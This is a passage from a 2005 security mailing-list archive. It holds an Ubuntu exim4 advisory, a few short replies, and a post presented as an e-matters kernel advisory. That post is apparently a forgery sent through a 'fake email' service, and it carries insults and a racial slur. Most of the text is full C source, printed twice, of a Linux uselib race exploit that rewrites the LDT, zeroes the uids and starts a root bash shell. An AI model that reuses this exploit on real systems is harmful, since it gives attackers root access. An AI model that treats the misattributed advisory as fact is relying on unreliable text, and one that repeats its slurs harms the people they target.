eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) );// execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0);// setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=%x, map_base=%x", old_esp, task_size, map_base); fflush(stdout); make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void static chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1); for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; c++; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { printf("\rchild %d %d", val, c); fflush(stdout); } } kill(getppid(), SIGUSR1); for(;;) pause(); } void wipe_slab() { signal(SIGUSR1, chldcnt); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) { printf("\n"); do_wipe(); } pause(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; sys_sched_yield(); } printf("\n"); signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-s forced stop\n", n); printf("\t\t-n SMP iterations\n"); printf("\t\t-b empty SLAB mode\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "bsn:"); if(r<0) break; switch(r) { case 's' : fstop = 1; break; case 'n' : smp = atoi(optarg); if(smp<0) fatal("bad value", 0); break; case 'b' : brute = 1; break; default: usage(av[0]); break; } } uid = getuid(); setpgrp(); if(brute) wipe_slab(); prepare();return 0; } http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free! Remove this footer by upgrading. -------------- next part -------------- _______________________________________________ Dailydave mailing list Dailydave at lists.immunitysec.com https://lists.immunitysec.com/mailman/listinfo/dailydave From martin.pitt at canonical.com Fri Jan 7 12:55:49 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Fri, 7 Jan 2005 13:55:49 +0100 Subject: [Full-Disclosure] [USN-56-1] exim4 vulnerabilities Message-ID: <20050107125549.GA2757@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-56-1 January 07, 2005 exim4 vulnerabilities CAN-2005-0021, CAN-2005-0022 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: exim4-daemon-heavy exim4-daemon-light The problem can be corrected by upgrading the affected package to version 4.34-5ubuntu1.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: A flaw has been found in the host_aton() function, which can overflow a buffer if it is presented with an illegal IPv6 address that has more than 8 components. When supplying certain command line parameters, the input was not checked, so that a local attacker could possibly exploit the buffer overflow to run arbitrary code with the privileges of the Exim mail server. (CAN-2005-0021) Additionally, the BASE64 decoder in the SPA authentication handler did not check the size of its output buffer. By sending an invalid BASE64 authentication string, a remote attacker could overflow the buffer, which could possibly be exploited to run arbitrary code with the privileges of the Exim mail server. (CAN-2005-0022) Source archives: http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.34-5ubuntu1.1.diff.gz Size/MD5: 463699 cdb8d46e351c34fc1f89536fdae343da http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.34-5ubuntu1.1.dsc Size/MD5: 1080 864fe588fae6035a5e258f5c04cf7dab http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4_4.34.orig.tar.gz Size/MD5: 1717473 acdf7117f18b71702d4da284b1263275 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-config_4.34-5ubuntu1.1_all.deb Size/MD5: 171766 9c845bd86beaee3d52c42c813b1ad032 http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/exim4_4.34-5ubuntu1.1_all.deb Size/MD5: 1200 5cd02a62d88ba49c5df8008938ef4f65 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.34-5ubuntu1.1_amd64.deb Size/MD5: 787866 e748245e594745259b3708545aa6c4b1 http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.34-5ubuntu1.1_amd64.deb Size/MD5: 431982 a3027eeb99010ec3fbbd9ed8d7602c6b http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.34-5ubuntu1.1_amd64.deb Size/MD5: 360702 407afc6744039f296993d4a0b0d07203 http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/eximon4_4.34-5ubuntu1.1_amd64.deb Size/MD5: 73474 22e6e191c1a624555ddcb0dbef570398 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.34-5ubuntu1.1_i386.deb Size/MD5: 784452 20baa66e23f89210828da736e978dcf2 http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.34-5ubuntu1.1_i386.deb Size/MD5: 406080 0fca8d0a724c1028847e4770640abd00 http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.34-5ubuntu1.1_i386.deb Size/MD5: 336978 b479636f03f2f370443109e7d69a8a4b http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/eximon4_4.34-5ubuntu1.1_i386.deb Size/MD5: 69218 e230f352300632a19d0f36ef8c4b6ca7 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-base_4.34-5ubuntu1.1_powerpc.deb Size/MD5: 792338 4f59dfd48441b4ba58cf7379278b5414 http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-heavy_4.34-5ubuntu1.1_powerpc.deb Size/MD5: 437952 7c0e3eb42f5aaf21c56571e4ce76e863 http://security.ubuntu.com/ubuntu/pool/main/e/exim4/exim4-daemon-light_4.34-5ubuntu1.1_powerpc.deb Size/MD5: 364814 d89db8c70e78070c8cad5e64e99702ab http://security.ubuntu.com/ubuntu/pool/universe/e/exim4/eximon4_4.34-5ubuntu1.1_powerpc.deb Size/MD5: 74848 6e9f16cbaf431df8412748c98ba2561b -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/8ea1b25d/attachment.bin From zx at castlecops.com Fri Jan 7 13:16:38 2005 From: zx at castlecops.com (Paul Laudanski) Date: Fri, 7 Jan 2005 08:16:38 -0500 (EST) Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com> Message-ID: On Thu, 6 Jan 2005, James Patterson Wicks wrote: > While this was just a quick test to satisfy my curiosity about the > Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is > worth a test deployment in the office. This beta expires in July. > Hopefully the final version will be free and allow for centralized > domain management. It's the least that Microsoft can do. To expand on your tests, I know this doesn't include the Microsoft rebranded Giant, but this is worth a look: http://spywarewarrior.com/asw-test-guide.htm -- Regards, Paul Laudanski - Computer Cops, LLC. CEO & Founder CastleCops(SM) - http://castlecops.com Promoting education and health in online security and privacy. From df at erinye.com Fri Jan 7 06:35:03 2005 From: df at erinye.com (Daniel Fischer) Date: Fri, 7 Jan 2005 07:35:03 +0100 Subject: [Full-Disclosure] This sums up Yahoo!s securitypolicyto a -T- In-Reply-To: References: Message-ID: <200501070735.05480.df@erinye.com> Greetings fellow mortals, All of you need a break. Clearly, nobody's able to recognise satire nor parody anymore. First the rm vulnerability discussion, now this... On Tuesday 04 January 2005 15:48, Clairmont, Jan M wrote: > I love it when self-proclaimed luzer's claim to own anything. What do > they claim to own a couple of old ladies, children's or unprotected > files on some pc's. Wow daddy stand back in awe, this luzer hacked a > child's pc and gets to play on their 33.4K baud connection, so > impressive.8-> [...] In response to: > n3td3v owns you all, even you self proclaimed and so-called experts > and professionals. > > *makes rude hand jestures* > > ;-) Have a nice day, and loosen up, pretty please, Danny -- Daniel Fischer Fraunhofer Gesellschaft - Institut Informations- und Datenverarbeitung Interaktive Analyse und Diagnose Fraunhoferstrasse 1 - 76131 Karlsruhe -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 190 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/499198c6/attachment.bin From ben at adversary.org Fri Jan 7 06:59:25 2005 From: ben at adversary.org (Ben McGinnes) Date: Fri, 7 Jan 2005 17:59:25 +1100 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com>; from nicholasnam@hush.com on Wed, Jan 05, 2005 at 06:45:08AM -0800 References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> Message-ID: <20050107175925.B25709@devious.adversary.org> nicholasnam at hush.com(nicholasnam at hush.com)@Wed, Jan 05, 2005 at 06:45:08AM -0800: > > Notice that www.microsoft.com is a cname for > www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com > and to the best of my knowledge the correct web content is > displayed. Microsoft used to have their site hosted/distributed by Akamai, but encountered a lot of negative press when that made them appear to be hosted on Linux (which is what Akamai uses). It seems they've chosen to get around this by shifting their site to a distributed hosting company which deploys a Windows solution. Regards, Ben -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 174 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/72e8ede6/attachment.bin From noacces at lycos.nl Fri Jan 7 09:42:04 2005 From: noacces at lycos.nl (noAcces) Date: Fri, 07 Jan 2005 09:42:04 GMT Subject: [Full-Disclosure] Novell WebAcces Message-ID: <1105090924024691@lycos-europe.com> An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/daddedee/attachment.html From s.esser at ematters.de Fri Jan 7 04:55:39 2005 From: s.esser at ematters.de (Stefan Esser) Date: 7 Jan 2005 04:55:39 -0000 Subject: [Full-Disclosure] Advisory 1/2005 - Linux Kernel arbitrary code execution vulnerability. Message-ID: <20050107045539.6583.qmail@sharpmail.co.uk> /* A New Initiative for a New Year * * E-matters are pleased to announce their new Microsoft-approved * Responsible Disclosure initiative in which we will be working * very closely with eEye, iDefense and the vendersec mailing list: * "e-eyeDefenderSec - Because the 'e'-matters" * **** * * Advisory 1/2005 * Linux Kernel arbitrary code execution vulnerability. * * Release Date: 2005/01/06 * Author: Stefan Esser [s.esser at ematters.de] * Application: Linux Kernel <= 2.4.28, <= 2.6.10 * Severity: A vulnerability exists in the ELF loader code * allowing for an attacker to execute code as root. * Risk: Critical * Reference: This advisory will soon be available on the e-matters * website. * Last Modified: 2005/01/06 * **** * * Preamble * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital * security. * * damn isec fools falling for teh bait * dat ret for cliph's box hella accurate * * sniffing on your upstream scopin for gold * hittin pay dirt with this here kernel hole * * responsibly disclosing crap you didn't know before * e-eyeDefenderSec steppin' up the 2k5 score * * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?' * your eyes are too full of dollar bills to see * * we're two steps ahead, and even some to the side * step the fuck back bitch..make, run..and hide. * **** * * Overview * * The Linux Kernel is the core of any Linux operating system. Security * issues within the Kernel allow for attackers to execute code within * the context of the kernel. This allows for attackers to gain root * access to a Linux system. * **** * * Details * * Due to a missing down() call for the semaphore 'current->mm->mmap_sem' * it is possible to create two over-lapping VMAs and exploit behaviour in * mremap that allows you to map kernel memory into userland address ranges. * This can be exploited by an attacker in many ways. * **** * * Proof of Concept * e-matters proof of concept code is attached. * **** * * Disclosure Timeline * * 15. Dec 2004 Issue discovered by Stefan Esser. * 16. Dec 2004 Issue discussed with Sebastian Kraemer of SuSe * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec * 22. Dec 2004 Proof of concept code developed with e-eyeDefenderSec * 24. Dec 2004 Linux kernel team informed of security problem. * 2. Jan 2005 Linux kernel team reply that they fixed the problem. * 3. Jan 2005 divineint gives up on trying to make the PoC code work * and rates the exploit as 'fake - possible trojan'. * 4. Jan 2005 PoC code improved by Sebastian Kraemer and Stefan Esser * 6. Jan 2005 Public Disclosure * **** * * Recommendation * * We strongly recommend upgrading to the latest Linux kernel. * There is no known work-around for this issue. * **** * * GPG-Key * * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC * * **** * * Closing Remarks * * "vendor-sec is a great mailing list, since it serves the security community * so well. Would it not be for vendor-sec, information would be given to the * general public faster, and patches deployed faster. Instead, the list puts * exploits and bug information directly in the hand of blackhats, and gives * them a reliable attack window to pick their targets before a patch is made * public." * - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert, * Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid * Vulnerability Discloser, bsdauth vulnerability discoverer, princessj * anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is, * destroyer of divineint, scourge of scriptkids, the one the only, * inventer of the internet GOLDEN GOD. * * Special thanks to: Derek Calloway (aka jimjones / the_uT) of @stake. * Mayhem (thanks for the shellcode help you grumpy frog :)) * cliph (seriously bro, Firefox has updates for a reason) * * ... and that KF nigger. * **** * * Testbeds * * clarity.local - werd up * cvs.kernel.org - I bet you don't find the backdoor *this* time ;) * **** * * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved. * */#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s #define xstr(s) str(s)#define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/dev/shm/_elf_lib"// shell name #define SHELL "/bin/bash"// time delta to detect race #define RACEDELTA 5000// if you have more deadbebes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( PAGE_SIZE * 4 )#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )#define ENTRY_GATE ( LDT_ENTRIES-1 ) #define GATESEL ( (ENTRY_GATE<<3)|0x07 )#define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB#define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ;static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static volatile int val = 0, go = 0, finish = 0, scnt = 0, old_esp = 0, delta = 0, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, brute=0, ccnt=0, pidx, pnum=0, smp=4, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char *pagemap;#define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(LIBNAME); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP static int raceme(void* v) { int r; printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout); finish=1; for(;;) { errno = 0;// check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(delta < RACEDELTA) goto recheck;// check if lib VMAs exist as expected under race condition recheck2: r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(r) continue; errno = 0; r = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(!r || (r<0 && errno != ENOMEM) ) continue;// SMP? if(smp-->=0) goto recheck2;// recheck race if(!go) continue; finish++;// we need to free one vm_area_struct for mmap to work r = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(r) fatal("mprotect", 0); r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1 == r) fatal("mmap2 race", 0); printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout); _exit(0); }return 0; } // get uid=0 kernel code (stolen from cliph) asmlinkage void kernel_code(unsigned *task) { unsigned *addr = task;// find & reset uids while(addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = /*addr[1] = */addr[2] = addr[3] = 0; addr[4] = addr[5] = addr[6] = addr[7] = 0;// find & correct VMA for(addr=(unsigned *)task_size; (unsigned)addr= task_size && addr[1] == vma_start && addr[2] == vma_end && addr[3] >= task_size ) { addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void);void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $("xstr(__KERNEL_DS)") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel_code \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } void static sigfailed(int v) { ccnt++; fatal("lcall", 1); } // modify LDT & exec void try_to_exploit(unsigned addr) { volatile int r, *v; printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout); r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC); if(r) fatal("mprotect 1", 1);// check if really LDT v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) ); signal(SIGSEGV, sigfailed); r = *v; if(r != MAGIC) { printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout); fatal("find LDT", 1); }// yeah! *v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU); *(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U; printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);// reprotect to get one VMA r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC); if(r) fatal("mprotect 2", 1);// CPL0 transition asm("lcall $" xstr(GATESEL) ",$0x0"); if( getuid()==0 ) { printf("\n[+] exploited, uid=0\n" ); fflush(stdout); } else { printf("\n[-] uid change failed" ); fflush(stdout); sigfailed(0); } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); execl(SHELL, "sh", NULL); fatal("execl", 0); } void static scan_mm_finish(); void static scan_mm_start(); // kernel page table scan code void static scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= addr_min) scan_mm_start(); scnt=0; val = *(int*)map_addr; scan_mm_finish(); } void static scan_mm_finish() { retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); if(scnt) { pagemap[pidx] ^= 1; } else { sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; scan_mm(); goto retry; } // make kernel page maps before and after allocating LDT void static scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; static struct sysinfo si; pnum++; if(pnum==1) { sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if(addr_max >= 0xffffe000 || addr_max < addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); pidx = max_page-1; } else if(pnum==2) { memset(&l, 0, sizeof(l)); l.entry_number = LDT_ENTRIES-1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; fflush(stdout); } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); }// save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache static int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) { fatal("try again", 0); } *r = map_addr; } // sig handlers void static segvcnt(int v) { scnt++; scan_mm_finish(); } void static reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz; printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt);// helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0);// synchronize threads while(!finish) sys_sched_yield(); finish=0;// try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); while(r != 1) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(LIBNAME); go = 0; if(r) fatal("uselib", 0); if(finish) break;// wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(-1==r || ccnt) goto failed; }// seems we raced r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0);// write protect brk VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|PROT_EXEC); if(-1==r) fatal("mprotect brk", 0);// this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) fatal("mremap: expand VMA", 0); else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE;// try to figure kernel layout printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); scan_mm_start();failed: fatal("try again", 0);} // make fake ELF library static void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd;// make our elf library umask(022); unlink(LIBNAME); fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib", 0); memset(&eh, 0, sizeof(eh) );// elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) );// section header: memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) );// execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0);// setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=%x, map_base=%x", old_esp, task_size, map_base); fflush(stdout); make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void static chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1); for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; c++; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { printf("\rchild %d %d", val, c); fflush(stdout); } } kill(getppid(), SIGUSR1); for(;;) pause(); } void wipe_slab() { signal(SIGUSR1, chldcnt); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) { printf("\n"); do_wipe(); } pause(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; sys_sched_yield(); } printf("\n"); signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-s forced stop\n", n); printf("\t\t-n SMP iterations\n"); printf("\t\t-b empty SLAB mode\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "bsn:"); if(r<0) break; switch(r) { case 's' : fstop = 1; break; case 'n' : smp = atoi(optarg); if(smp<0) fatal("bad value", 0); break; case 'b' : brute = 1; break; default: usage(av[0]); break; } } uid = getuid(); setpgrp(); if(brute) wipe_slab(); prepare();return 0; } http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free! Remove this footer by upgrading. From xploitable at gmail.com Fri Jan 7 15:42:04 2005 From: xploitable at gmail.com (n3td3v) Date: Fri, 7 Jan 2005 15:42:04 +0000 Subject: 